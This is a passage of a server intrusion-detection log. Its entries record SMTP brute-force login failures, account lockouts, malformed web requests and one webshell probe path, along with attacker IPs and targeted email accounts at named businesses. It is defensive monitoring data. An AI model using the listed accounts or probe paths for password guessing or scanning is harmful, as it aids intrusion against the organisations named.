rule: 13001
name: Exim Auth failed
abuser: 118.187.65.135
country_id: 1814991
description:
2026-02-01 09:58:04 dovecot_login authenticator failed for H=([118.187.65.135]) [118.187.65.135]:37490: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-01 09:58:08 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:49446: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-02-01 09:58:16 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com [220.246.47.146]:54420: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:59:34 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57922: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.93.159.90
country_id: 1269750
description:
2026-02-01 09:59:06 dovecot_login authenticator failed for H=([59.93.159.90]) [59.93.159.90]:50438: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:59:08 dovecot_login authenticator failed for H=(3R7dvFiHWB) [178.16.54.22]:57060: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-02-01 09:59:17 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:59648: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 09:59:28 dovecot_login authenticator failed for H=(lOfOca) [141.98.11.48]:64383: 535 Incorrect authentication data (set_id=ching-loon.ong)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-02-01 10:00:04 H=([127.0.0.1]) [103.197.57.71]:44750 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.52.74.58
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/cool/16/159/1665015 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 10:00:03 dovecot_login authenticator failed for H=(iqbQG1EY) [141.98.11.48]:55876: 535 Incorrect authentication data (set_id=ching-loon.ong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.231.183
country_id: 6251999
description:
2026-02-01 10:00:42 dovecot_plain authenticator failed for H=183.231.130.34.bc.googleusercontent.com (m6qf78g0qdcs91of1) [34.130.231.183]:41290: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.226.51
country_id: 1819730
description:
2026-02-01 10:00:46 dovecot_login authenticator failed for H=(223-197-226-51.static.imsbiz.com) [223.197.226.51]:58282: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:00:10 dovecot_login authenticator failed for H=(RWygCXp1) [178.16.54.22]:59378: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:01:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36734: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:01:16 dovecot_login authenticator failed for H=(kGFWeuoq) [178.16.54.22]:63813: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 10:01:02 dovecot_login authenticator failed for H=(69OiJRBnR) [141.98.11.48]:64987: 535 Incorrect authentication data (set_id=ching-loon.ong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-02-01 10:01:25 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:24332: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:01:14 dovecot_login authenticator failed for H=(tRCk3faR) [178.16.54.22]:59373: 535 Incorrect authentication data (set_id=daniel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.235.134.234
country_id: 2589581
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=89 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 10:02:09 dovecot_login authenticator failed for H=(HZsYSSO3) [141.98.11.48]:55261: 535 Incorrect authentication data (set_id=ching-loon.ong@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:02:23 dovecot_login authenticator failed for H=(2hyAnR0lJo) [178.16.54.22]:64087: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:03:48 dovecot_login authenticator failed for H=(ISpSf9Mu) [178.16.54.22]:51706: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:03:50 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44182: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:03:02 dovecot_login authenticator failed for H=(yZUzVzRvD) [178.16.54.22]:58532: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 10:03:18 dovecot_login authenticator failed for H=(HAxn3JAlw) [141.98.11.48]:50551: 535 Incorrect authentication data (set_id=ching-loon.ong@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.111.249.76
country_id: 2017370
description:
2026-02-01 10:04:12 dovecot_login authenticator failed for H=pppoe-78-111-249-76.dynamic.tvingo.ru [78.111.249.76]:42809: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:04:05 dovecot_login authenticator failed for H=(Z5HbsE) [178.16.54.22]:54213: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 10:04:52 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:58854: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.225.203.106
country_id: 1814991
description:
2026-02-01 10:04:29 dovecot_login authenticator failed for H=([122.225.203.106]) [122.225.203.106]:56132: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.51.74
country_id: 1149361
description:
2026-02-01 10:04:37 dovecot_login authenticator failed for H=([149.54.51.74]) [149.54.51.74]:36622: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 10:04:26 dovecot_login authenticator failed for H=(tpFceN0) [141.98.11.48]:51558: 535 Incorrect authentication data (set_id=ching-loon.ong@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-01 10:04:41 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:54744: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.128.15.127
country_id: 1814991
description:
2026-02-01 10:04:10 dovecot_login authenticator failed for H=([222.128.15.127]) [222.128.15.127]:36456: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:05:13 dovecot_login authenticator failed for H=(AlLslpkl) [178.16.54.22]:54996: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.185.227.77
country_id: 3469034
description:
2026-02-01 10:05:28 dovecot_login authenticator failed for H=(grupokrause.static.gvt.net.br) [179.185.227.77]:60308: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 10:05:31 dovecot_login authenticator failed for H=(ASkaQpWwQ) [141.98.11.48]:63641: 535 Incorrect authentication data (set_id=ching-loon.ong@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.22.187.66
country_id: 1814991
description:
2026-02-01 10:05:45 dovecot_login authenticator failed for H=([218.22.187.69]) [218.22.187.66]:41541: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:05:56 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59510: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:06:46 dovecot_login authenticator failed for H=(ovUClKD1) [178.16.54.22]:59563: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 10:06:55 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:54162: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:06:04 dovecot_login authenticator failed for H=(JVLxMSBGEx) [178.16.54.22]:62474: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 10:06:04 dovecot_login authenticator failed for H=(96IFxgDcSh) [141.98.11.48]:56388: 535 Incorrect authentication data (set_id=ching-loon.ong@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-02-01 10:06:46 dovecot_login authenticator failed for H=(syn-098-122-215-023.res.spectrum.com) [98.122.215.23]:46776: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.163
country_id: 99237
description:
2026-02-01 10:06:59 dovecot_login authenticator failed for H=([65.20.250.163]) [65.20.250.163]:42488: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.48
country_id: 597427
description:
Feb  1 10:07:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ching-loon.ong@cofreth.com.my has been locked for the attacker IP 141.98.11.48


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-02-01 10:07:07 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:56883: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 10:07:07 dovecot_login authenticator failed for H=(aSZdT2O) [141.98.11.48]:62795: 535 Incorrect authentication data (set_id=ching-loon.ong@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 10:07:13 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:48906: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.162
country_id: 1269750
description:
2026-02-01 10:07:26 dovecot_login authenticator failed for H=(nsg-corporate-162.230.187.122.airtel.in) [122.187.230.162]:42233: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:07:28 dovecot_login authenticator failed for H=(0XLjQSWQ5E) [178.16.54.22]:55508: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.48
country_id: 597427
description:
Feb  1 10:08:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ching-loon.ong@cofreth.com.my has been locked for the attacker IP 141.98.11.48


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.156.160.47
country_id: 3996063
domain: kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kendek.com/product-detail.php?id=981970 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:08:21 dovecot_login authenticator failed for H=(9tj5KoO) [178.16.54.22]:52346: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:08:05 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53690: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 10:08:11 dovecot_login authenticator failed for H=(t6floio7) [141.98.11.48]:64923: 535 Incorrect authentication data (set_id=ching-loon.ong@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 10:09:25 dovecot_login authenticator failed for H=(rCEemAzMO) [141.98.11.48]:61831: 535 Incorrect authentication data (set_id=ching-loon.ong@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:09:17 dovecot_login authenticator failed for H=(ZxUwZ2qxN) [178.16.54.22]:55041: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.66
country_id: 1149361
description:
2026-02-01 10:09:54 dovecot_login authenticator failed for H=([149.54.62.66]) [149.54.62.66]:45100: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:09:26 dovecot_login authenticator failed for H=(U8b7oBNRe) [178.16.54.22]:58931: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.48
country_id: 597427
description:
Feb  1 10:09:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ching-loon.ong@cofreth.com.my has been locked for the attacker IP 141.98.11.48


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.14.192.20
country_id: 1835841
description:
2026-02-01 10:10:06 dovecot_login authenticator failed for H=([110.14.192.20]) [110.14.192.20]:34206: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:10:12 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36722: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.53.58.10
country_id: 1835841
description:
2026-02-01 10:10:34 dovecot_login authenticator failed for H=([211.53.58.10]) [211.53.58.10]:58153: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:10:06 dovecot_login authenticator failed for H=(fy35mzuX) [178.16.54.22]:59042: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.127.150
country_id: 1269750
description:
2026-02-01 10:10:54 dovecot_login authenticator failed for H=(nsg-corporate-177.246.185.122.airtel.in) [122.184.127.150]:35374: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.9.31.218
country_id: 1835841
description:
2026-02-01 10:10:59 dovecot_login authenticator failed for H=([59.9.31.218]) [59.9.31.218]:44568: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.43
country_id: 732800
description:
2026-02-01 10:10:36 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:53800: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:11:14 dovecot_login authenticator failed for H=(9d9rNRFT) [178.16.54.22]:50357: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.159
country_id: 99237
description:
2026-02-01 10:11:15 dovecot_login authenticator failed for H=([65.20.143.159]) [65.20.143.159]:49493: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.16.40.3
country_id: 1814991
description:
2026-02-01 10:11:04 dovecot_login authenticator failed for H=([110.16.40.3]) [110.16.40.3]:51524: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.6.250.243
country_id: 6252001
description:
2026-02-01 10:11:06 dovecot_login authenticator failed for H=(50-6-250-243.unifiedlayer.com) [50.6.250.243]:45960: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.255.50
country_id: 1269750
description:
2026-02-01 10:11:42 dovecot_login authenticator failed for H=([122.186.255.50]) [122.186.255.50]:59438: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.169.120.37
country_id: 1668284
description:
2026-02-01 10:12:38 dovecot_login authenticator failed for H=([192.169.120.37]) [192.169.120.37]:43787: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-01 10:12:46 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:41968: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 10:12:52 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:47314: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.34.120.78
country_id: 2750405
description:
2026-02-01 10:12:04 dovecot_login authenticator failed for H=78.120.34.34.bc.googleusercontent.com (10.164.0.2) [34.34.120.78]:64570: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:12:07 dovecot_login authenticator failed for H=(rab7c5Wsl) [178.16.54.22]:49294: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 10:12:10 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:47485: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:12:17 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56774: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:12:06 dovecot_login authenticator failed for H=(Fu7dlPm) [178.16.54.22]:61768: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 10:12:30 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:50068: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.64.246
country_id: 1512440
description:
2026-02-01 10:13:42 dovecot_login authenticator failed for H=([213.230.64.246]) [213.230.64.246]:47194: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 10:13:49 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:42802: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 10:13:27 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:11606: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-02-01 10:13:32 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:48650: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.175.91.53
country_id: 1814991
description:
2026-02-01 10:13:19 dovecot_login authenticator failed for H=([60.175.91.53]) [60.175.91.53]:50379: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 10:13:38 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:45126: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:13:14 dovecot_login authenticator failed for H=(O23zBKS) [178.16.54.22]:59053: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 10:14:01 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:52096: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:14:30 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44630: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:14:58 dovecot_login authenticator failed for H=(2jfvIas) [178.16.54.22]:59902: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 10:14:28 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:46596: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:14:02 dovecot_login authenticator failed for H=(5ncM68f9fM) [178.16.54.22]:64113: 535 Incorrect authentication data (set_id=yap)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.208.235.31
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=994821 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 10:14:18 +0800] info [cpaneld] 185.204.54.153 - xami "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user xami (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:15:15 dovecot_login authenticator failed for H=(qhnxoC6cFD) [178.16.54.22]:55066: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.102.175.6
country_id: 3469034
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/award.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:16:36 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52294: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:16:06 dovecot_login authenticator failed for H=(VQsvIX6ROU) [178.16.54.22]:49271: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.219.154.156
country_id: 2750405
description:
2026-02-01 10:17:23 dovecot_login authenticator failed for H=([103.219.154.156]) [103.219.154.156]:40864: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-02-01 10:17:45 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:57462: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.25.127.202
country_id: 2017370
description:
2026-02-01 10:17:47 dovecot_login authenticator failed for H=([78.25.127.202]) [78.25.127.202]:54724: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01 10:17:53 214976 [Warning] Aborted connection 214976 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-02-01 10:17:11 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:38472: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:17:19 dovecot_login authenticator failed for H=(LOvtBE6V) [178.16.54.22]:59061: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:17:14 dovecot_login authenticator failed for H=(xhIMqyV) [178.16.54.22]:49639: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.244.56.48
country_id: 6252001
description:
2026-02-01 10:17:13 dovecot_login authenticator failed for H=(ADMIN) [173.244.56.48]:1325: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-02-01 10:17:33 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:46094: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:18:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43168: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.92.36
country_id: 1814991
description:
